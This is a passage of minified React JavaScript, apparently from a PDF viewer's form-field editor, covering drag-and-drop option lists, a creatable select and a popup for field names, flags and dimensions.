p=o(i,i),h={action:"create-option",name:c};l(a?[].concat(AB(hH(u)),[p]):p,h)}};var o=e.options||[];return r.state={newOption:void 0,options:o},r}return Ae(n,[{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=e.allowCreateWhileLoading,n=e.createOptionPosition,r=e.formatCreateLabel,o=e.getNewOptionData,i=e.inputValue,a=e.isLoading,l=e.isValidNewOption,s=e.value,u=e.options||[],c=this.state.newOption;c=l(i,hH(s),u)?o(i,r(i)):void 0,this.setState({newOption:c,options:!t&&a||!c?u:"first"===n?[c].concat(AB(u)):[].concat(AB(u),[c])})}},{key:"focus",value:function(){this.select.focus()}},{key:"blur",value:function(){this.select.blur()}},{key:"render",value:function(){var e=this,t=this.state.options;return s.a.createElement(az,b({},this.props,{ref:function(t){e.select=t},options:t,onChange:this.onChange}))}}]),n}(l.Component),lz.defaultProps=cz,sz));n(1101);function dz(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function pz(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?dz(Object(n),!0).forEach((function(t){hz(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):dz(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function hz(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var mz=function(e){var t=e.onChange,n=e.onInputChange,r=e.options,o=e.onCreateOption,i=e.textPlaceholder,a=e.value,l=e.isClearable,u=e.isValid,c=e.messageText,f=Ks().t,d={control:function(e,t){return pz(pz({},e),{},{borderColor:t.selectProps.isValid?"hsl(0, 0%, 80%)":"hsl(28, 80%, 52%)",boxShadow:t.selectProps.isValid?null:"0 0 0 2px rgba(230, 126, 34, 0.4)","&:hover":{borderColor:t.selectProps.isValid?"hsl(0, 0%, 70%)":"hsl(28, 80%, 52%)"}})}};return s.a.createElement("div",null,s.a.createElement(fz,{isClearable:l,onChange:t,onInputChange:n,options:r,onCreateOption:o,placeholder:i,formatCreateLabel:function(e){return"".concat(f("action.create")," ").concat(e)},value:a,styles:d,isValid:u}),c?s.a.createElement("div",{className:"messageText"},c):void 0)};n(294);function gz(){var e=Object(l.useContext)(jA.a).dragDropManager;return Object(sA.a)(null!=e,"Expected drag drop context"),e}var vz="undefined"!=typeof window?l.useLayoutEffect:l.useEffect;function yz(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function bz(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var wz=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),bz(this,"spec",void 0),bz(this,"monitor",void 0),this.spec=t,this.monitor=n}var t,n,r;return t=e,(n=[{key:"canDrop",value:function(){var e=this.spec,t=this.monitor;return!e.canDrop||e.canDrop(t.getItem(),t)}},{key:"hover",value:function(){var e=this.spec,t=this.monitor;e.hover&&e.hover(t.getItem(),t)}},{key:"drop",value:function(){var e=this.spec,t=this.monitor;if(e.drop)return e.drop(t.getItem(),t)}}])&&yz(t.prototype,n),r&&yz(t,r),e}();function Ez(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Sz(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Sz(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Sz(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Cz(e,t,n){var r=gz(),o=function(e,t){var n=Object(l.useMemo)((function(){return new wz(e,t)}),[t]);return Object(l.useEffect)((function(){n.spec=e}),[e]),n}(e,t),i=function(e){var t=e.accept;return Object(l.useMemo)((function(){return Object(sA.a)(null!=e.accept,"accept must be defined"),Array.isArray(t)?t:[t]}),[t])}(e);vz((function(){var e=Ez(uA(i,o,r),2),a=e[0],l=e[1];return t.receiveHandlerId(a),n.receiveHandlerId(a),l}),[r,t,o,n,i.map((function(e){return e.toString()})).join("|")])}function xz(e){return function(e){if(Array.isArray(e))return Oz(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Oz(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Oz(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Oz(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Az(e,t){var n=xz(t||[]);return null==t&&"function"!=typeof e&&n.push(e),Object(l.useMemo)((function(){return"function"==typeof e?e():e}),n)}var _z=n(152),Tz=n.n(_z);function kz(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Pz(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Pz(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Pz(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Mz(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Rz(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Rz(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Rz(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function jz(e,t,n){var r=Mz(function(e,t,n){var r=kz(Object(l.useState)((function(){return t(e)})),2),o=r[0],i=r[1],a=Object(l.useCallback)((function(){var r=t(e);Tz()(o,r)||(i(r),n&&n())}),[o,e,n]);return vz(a),[o,a]}(e,t,n),2),o=r[0],i=r[1];return vz((function(){var t=e.getHandlerId();if(null!=t)return e.subscribeToStateChange(i,{handlerIds:[t]})}),[e,i]),o}function Lz(e,t,n){return jz(t,e||function(){return{}},(function(){return n.reconnect()}))}function Iz(e){return Object(l.useMemo)((function(){return e.hooks.dropTarget()}),[e])}function Nz(e,t){var n,r=Az(e,t),o=(n=gz(),Object(l.useMemo)((function(){return new hA(n)}),[n])),i=function(e){var t=gz(),n=Object(l.useMemo)((function(){return new OA(t.getBackend())}),[t]);return vz((function(){return n.dropTargetOptions=e||null,n.reconnect(),function(){return n.disconnectDropTarget()}}),[e]),n}(r.options);return Cz(r,o,i),[Lz(r.collect,o,i),Iz(i)]}function Dz(e){return(Dz="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Fz(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Bz(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Hz=function(){function e(t,n,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),Bz(this,"spec",void 0),Bz(this,"monitor",void 0),Bz(this,"connector",void 0),this.spec=t,this.monitor=n,this.connector=r}var t,n,r;return t=e,(n=[{key:"beginDrag",value:function(){var e,t=this.spec,n=this.monitor;return null!==(e="object"===Dz(t.item)?t.item:"function"==typeof t.item?t.item(n):{})&&void 0!==e?e:null}},{key:"canDrag",value:function(){var e=this.spec,t=this.monitor;return"boolean"==typeof e.canDrag?e.canDrag:"function"!=typeof e.canDrag||e.canDrag(t)}},{key:"isDragging",value:function(e,t){var n=this.spec,r=this.monitor,o=n.isDragging;return o?o(r):t===e.getSourceId()}},{key:"endDrag",value:function(){var e=this.spec,t=this.monitor,n=this.connector,r=e.end;r&&r(t.getItem(),t),n.reconnect()}}])&&Fz(t.prototype,n),r&&Fz(t,r),e}();function Vz(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return zz(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return zz(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function zz(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Uz(e,t,n){var r=gz(),o=function(e,t,n){var r=Object(l.useMemo)((function(){return new Hz(e,t,n)}),[t,n]);return Object(l.useEffect)((function(){r.spec=e}),[e]),r}(e,t,n),i=function(e){return Object(l.useMemo)((function(){var t=e.type;return Object(sA.a)(null!=t,"spec.type must be defined"),t}),[e])}(e);vz((function(){if(null!=i){var e=Vz(cA(i,o,r),2),a=e[0],l=e[1];return t.receiveHandlerId(a),n.receiveHandlerId(a),l}}),[r,t,n,o,i])}function Gz(e){return Object(l.useMemo)((function(){return e.hooks.dragSource()}),[e])}function Wz(e){return Object(l.useMemo)((function(){return e.hooks.dragPreview()}),[e])}function qz(e,t){var n=Az(e,t);Object(sA.a)(!n.begin,"useDrag::spec.begin was deprecated in v14. Replace spec.begin() with spec.item(). (see more here - https://react-dnd.github.io/react-dnd/docs/api/use-drag)");var r,o=(r=gz(),Object(l.useMemo)((function(){return new c_(r)}),[r])),i=function(e,t){var n=gz(),r=Object(l.useMemo)((function(){return new i_(n.getBackend())}),[n]);return vz((function(){return r.dragSourceOptions=e||null,r.reconnect(),function(){return r.disconnectDragSource()}}),[r,e]),vz((function(){return r.dragPreviewOptions=t||null,r.reconnect(),function(){return r.disconnectDragPreview()}}),[r,t]),r}(n.options,n.previewOptions);return Uz(n,o,i),[Lz(n.collect,o,i),Gz(i),Wz(i)]}n(295);function Zz(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Yz(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Yz(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Yz(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var $z=function(e){var t=e.option,n=e.index,r=e.onChange,o=e.onDeleteItem,i=e.moveListItem,a=e.id,u=e.addItem,c="item",f=Object(l.useRef)(null),d=Zz(Nz({accept:c,hover:function(e,t){var r;if(f.current){var o=e.index,a=n;if(o!==a){var l=null===(r=f.current)||void 0===r?void 0:r.getBoundingClientRect(),s=(l.bottom-l.top)/2,u=t.getClientOffset().y-l.top;o<a&&u<s||o>a&&u>s||(i(o,a),e.index=a)}}}}),2)[1],p=Zz(qz({type:c,item:{type:c,id:a,index:n},collect:function(e){return{isDragging:e.isDragging()}}}),2),h=p[0].isDragging,m=p[1],g=Object(l.useCallback)((function(e){r(e.target.value)}),[r]),v=Object(l.useCallback)((function(e){"Enter"===e.key&&u()}),[u]);m(d(f));var y=h?0:1;return s.a.createElement("div",{ref:f,style:{opacity:y},className:"creatable-list-item"},s.a.createElement("div",{className:"icon-handle"},s.a.createElement(cf,{glyph:"icon-drag-handle"})),s.a.createElement("input",{type:"text",onChange:g,value:t.displayValue,onKeyPress:v,autoFocus:!0}),s.a.createElement(bf,{title:"action.delete",img:"icon-delete-line",onClick:o}))};function Kz(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Xz(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Kz(Object(n),!0).forEach((function(t){Qz(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Kz(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Qz(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Jz(e){return function(e){if(Array.isArray(e))return nU(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||tU(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function eU(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||tU(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function tU(e,t){if(e){if("string"==typeof e)return nU(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?nU(e,t):void 0}}function nU(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var rU=function(e){var t=e.options,n=e.onOptionsUpdated,r=Ks().t,o=t.map((function(e,t){return{id:t,displayValue:e.displayValue,value:e.value}})),i=eU(Object(l.useState)(o),2),a=i[0],u=i[1],c=eU(Object(l.useState)(o.length),2),f=c[0],d=c[1];Object(l.useEffect)((function(){var e=a.map((function(e){return{value:e.value,displayValue:e.displayValue}}));n(e)}),[a,n]);var p=Object(l.useCallback)((function(){var e=f;d(f+1),u([].concat(Jz(a),[{id:e,value:"",displayValue:""}]))}),[f,a]),h=function(e){return function(){var t=a.filter((function(t){return e!==t.id}));u(t)}};var m=Object(l.useCallback)((function(e,t){var n=a[e],r=function(e,t,n){var r=e.slice(0);return r.splice(t,0,n),r}(a.filter((function(t,n){return n!==e})),t,n);u(r)}),[a]);return s.a.createElement("div",null,s.a.createElement("div",{className:"creatable-list"},a.map((function(e,t){return s.a.createElement($z,{key:e.id,index:t,id:e.id,option:e,onChange:(n=e.id,function(e){var t=a.map((function(t){return t.id!==n?t:Xz(Xz({},t),{},{value:e,displayValue:e})}));u(t)}),onDeleteItem:h(e.id),moveListItem:m,addItem:p});var n}))),s.a.createElement(bf,{title:r("action.addOption"),className:"add-item-button",label:r("action.addOption"),img:"icon-plus-sign",onClick:p}))};function oU(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return iU(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return iU(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function iU(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var aU=function(e){var t=e.width,n=e.height,r=e.onWidthChange,o=e.onHeightChange,i=Ks().t;return s.a.createElement("div",{className:"form-dimension"},s.a.createElement("div",null,i("formField.formFieldPopup.size"),":"),s.a.createElement("div",{className:"form-dimension-input"},s.a.createElement("input",{id:"form-field-width",type:"number",min:0,value:t,onChange:function(e){return r(e.target.value)}})," ",i("formField.formFieldPopup.width")),s.a.createElement("div",{className:"form-dimension-input"},s.a.createElement("input",{id:"form-field-height",type:"number",min:0,value:n,onChange:function(e){return o(e.target.value)}})," ",i("formField.formFieldPopup.height")))},lU=function(e){var t=e.fields,n=e.flags,r=e.closeFormFieldEditPopup,o=e.isValid,i=e.validationMessage,a=e.radioButtonGroups,u=e.options,c=e.onOptionsChange,f=e.annotation,d=e.selectedRadioGroup,p=e.getPageHeight,h=e.getPageWidth,m=e.redrawAnnotation,g=Ks().t,v=js()({Popup:!0,FormFieldEditPopup:!0}),y=oU(Object(l.useState)(f.Width.toFixed(0)),2),b=y[0],w=y[1],E=oU(Object(l.useState)(f.Height.toFixed(0)),2),S=E[0],C=E[1],x=oU(Object(l.useState)(f.Width.toFixed(0)),1)[0],O=oU(Object(l.useState)(f.Height.toFixed(0)),1)[0],A=oU(Object(l.useState)(""===d?null:{value:d,label:d}),2),_=A[0],T=A[1];function k(e){return"text"===e.type?function(e){return s.a.createElement(CB,{type:"text",onChange:function(t){return e.onChange(t.target.value)},value:e.value,fillWidth:"false",messageText:e.required&&!o?g(i):"",message:e.required&&!o?"warning":"default",autoFocus:e.focus})}(e):"select"===e.type?function(e){var t=a.map((function(e){return{value:e,label:e}}));return s.a.createElement(s.a.Fragment,null,s.a.createElement(mz,{textPlaceholder:g("formField.formFieldPopup.fieldName"),options:t,onChange:function(t){return function(e,t){null===t?(e.onChange(""),T(null)):(e.onChange(t.value),T({value:t.value,label:t.value}))}(e,t)},value:_,isValid:o,messageText:g(i)}),s.a.createElement("div",{className:"radio-group-label"},g("formField.formFieldPopup.radioGroups")))}(e):void 0}return Object(l.useEffect)((function(){T(""!==d?{value:d,label:d}:null)}),[d]),s.a.createElement("div",{className:v},s.a.createElement("div",{className:"fields-container"},t.map((function(e){return s.a.createElement("div",{className:"field-input",key:e.label},s.a.createElement("label",null,g(e.label),e.required?"*":"",":"),k(e))}))),u&&s.a.createElement("div",{className:"field-options-container"},g("formField.formFieldPopup.options"),s.a.createElement(rU,{options:u,onOptionsUpdated:c})),s.a.createElement("div",{className:"field-flags-container"},s.a.createElement("span",{className:"field-flags-title"},g("formField.formFieldPopup.flags")),n.map((function(e){return s.a.createElement(Kv,{key:e.label,checked:e.isChecked,onChange:function(t){return e.onChange(t.target.checked)},label:g(e.label)})}))),s.a.createElement(aU,{width:b,height:S,onWidthChange:function(e){var t=function(e){var t=h()-f.X;return e>t?t:e}(e);f.setWidth(t),w(t),m(f)},onHeightChange:function(e){var t=function(e){var t=p()-f.Y;return e>t?t:e}(e);f.setHeight(t),C(t),m(f)}}),s.a.createElement("div",{className:"form-buttons-container"},s.a.createElement(bf,{className:"cancel-form-field-button",onClick:function(){b===x&&S===O||(f.setWidth(x),f.setHeight(O)),m(f),r()},dataElement:"formFieldCancel",label:g("formField.formFieldPopup.cancel")}),s.a.createElement(bf,{className:"ok-form-field-button",onClick:r,dataElement:"formFieldOK",label:g("action.ok"),disabled:!o})))};function sU(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return uU(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return uU(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function uU(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var cU=function(e){var t=sU(Object(l.useState)(null),2),n=t[0],r=t[1];return Object(l.useEffect)((function(){var t=function(t,n){var o=t[0];"add"===n&&o.isFormFieldPlaceholder()&&""===o.getCustomData("trn-editing-widget-id")&&(r(t[0]),e())},n=function(e,t){"selected"===t&&e.length&&e[0].isFormFieldPlaceholder()&&r(e[0])};return vt.addEventListener("annotationChanged",t),vt.addEventListener("annotationSelected",n),function(){vt.removeEventListener("annotationChanged",t),vt.removeEventListener("annotationSelected",n)}}),[]),n};function fU(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function dU(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?fU(Object(n),!0).forEach((function(t){pU(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):fU(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function pU(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function hU(e){return function(e){if(Array.isArray(e))return vU(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||gU(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function mU(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||gU(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function gU(e,t){if(e){if("string"==typeof e)return vU(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?vU(e,t):void 0}}function vU(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var yU=function(){var e=vt.getFormFieldCreationManager(),t=e.getFieldLabels(),n=mU(Object(l.useState)(""),2),r=n[0],o=n[1],i=mU(Object(l.useState)(""),2),a=i[0],u=i[1],c=mU(Object(l.useState)(!1),2),f=c[0],d=c[1],p=mU(Object(l.useState)(!1),2),h=p[0],m=p[1],g=mU(Object(l.useState)(!1),2),v=g[0],y=g[1],b=mU(Object(l.useState)(!1),2),w=b[0],E=b[1],S=mU(Object(l.useState)(!0),2),C=S[0],x=S[1],O=mU(Object(l.useState)([]),2),A=O[0],_=O[1],T=mU(Object(l.useState)({left:0,top:0}),2),k=T[0],P=T[1],M=mU(Object(l.useState)(""),2),R=M[0],j=M[1],L=Object(l.useRef)(),I=mU(le((function(e){return[fi.isElementOpen(e,"formFieldEditPopup")]}),N),1)[0],D=re();function F(){D(Ps.closeElement("formFieldEditPopup")),o(""),u(""),d(!1),m(!1),y(!1),E(!1),x(!0)}yp(L,(function(e){F()}));var B=cU((function(){D(Ps.openElement("formFieldEditPopup"))}));Object(l.useEffect)((function(){var t=function(){_(e.getRadioButtonGroups())};return vt.addEventListener("formFieldCreationModeStarted",t),function(){vt.removeEventListener("formFieldCreationModeStarted",t)}}),[]),Object(l.useLayoutEffect)((function(){if(I){L.current&&P(jw(B,L)),o(e.getFieldName(B)),u(e.getFieldValue(B)),d(e.getFieldFlag(B,t.READ_ONLY)),m(e.getFieldFlag(B,t.MULTI_LINE)),y(e.getFieldFlag(B,t.REQUIRED)),E(e.getFieldFlag(B,t.MULTI_SELECT));var n=hU(new Set([].concat(hU(A),hU(e.getRadioButtonGroups()))));_(n),x(!!e.getFieldName(B)),j("")}}),[I]);var H=Object(l.useCallback)((function(t){var n=e.setFieldName(B,t);x(n.isValid),V(n),o(t)}),[B]),V=function(e){var t="";switch(e.errorType){case"empty":t="formField.formFieldPopup.invalidField.empty";break;case"duplicate":t="formField.formFieldPopup.invalidField.duplicate"}j(t)},z=Object(l.useCallback)((function(t){u(t),e.setFieldValue(B,t)}),[B]),U=Object(l.useCallback)((function(n){d(n),e.setFieldFlag(B,t.READ_ONLY,n)}),[B]),G=Object(l.useCallback)((function(n){m(n),e.setFieldFlag(B,t.MULTI_LINE,n)}),[B]),W=Object(l.useCallback)((function(n){y(n),e.setFieldFlag(B,t.REQUIRED,n)}),[B]),q=Object(l.useCallback)((function(n){E(n),e.setFieldFlag(B,t.MULTI_SELECT,n)}),[B]),Z=Object(l.useCallback)((function(t){e.setFieldOptions(B,t)}),[B]),Y=Object(l.useCallback)((function(){F()}),[]),$=Object(l.useCallback)((function(){C&&-1===A.indexOf(r)&&""!==r&&_([r].concat(hU(A))),F()}),[r,A]),K=Object(l.useCallback)((function(e){vt.getAnnotationManager().drawAnnotationsFromList([e])}),[]),X=Object(l.useCallback)((function(){return vt.getPageHeight(vt.getCurrentPage())}),[]),Q=Object(l.useCallback)((function(){return 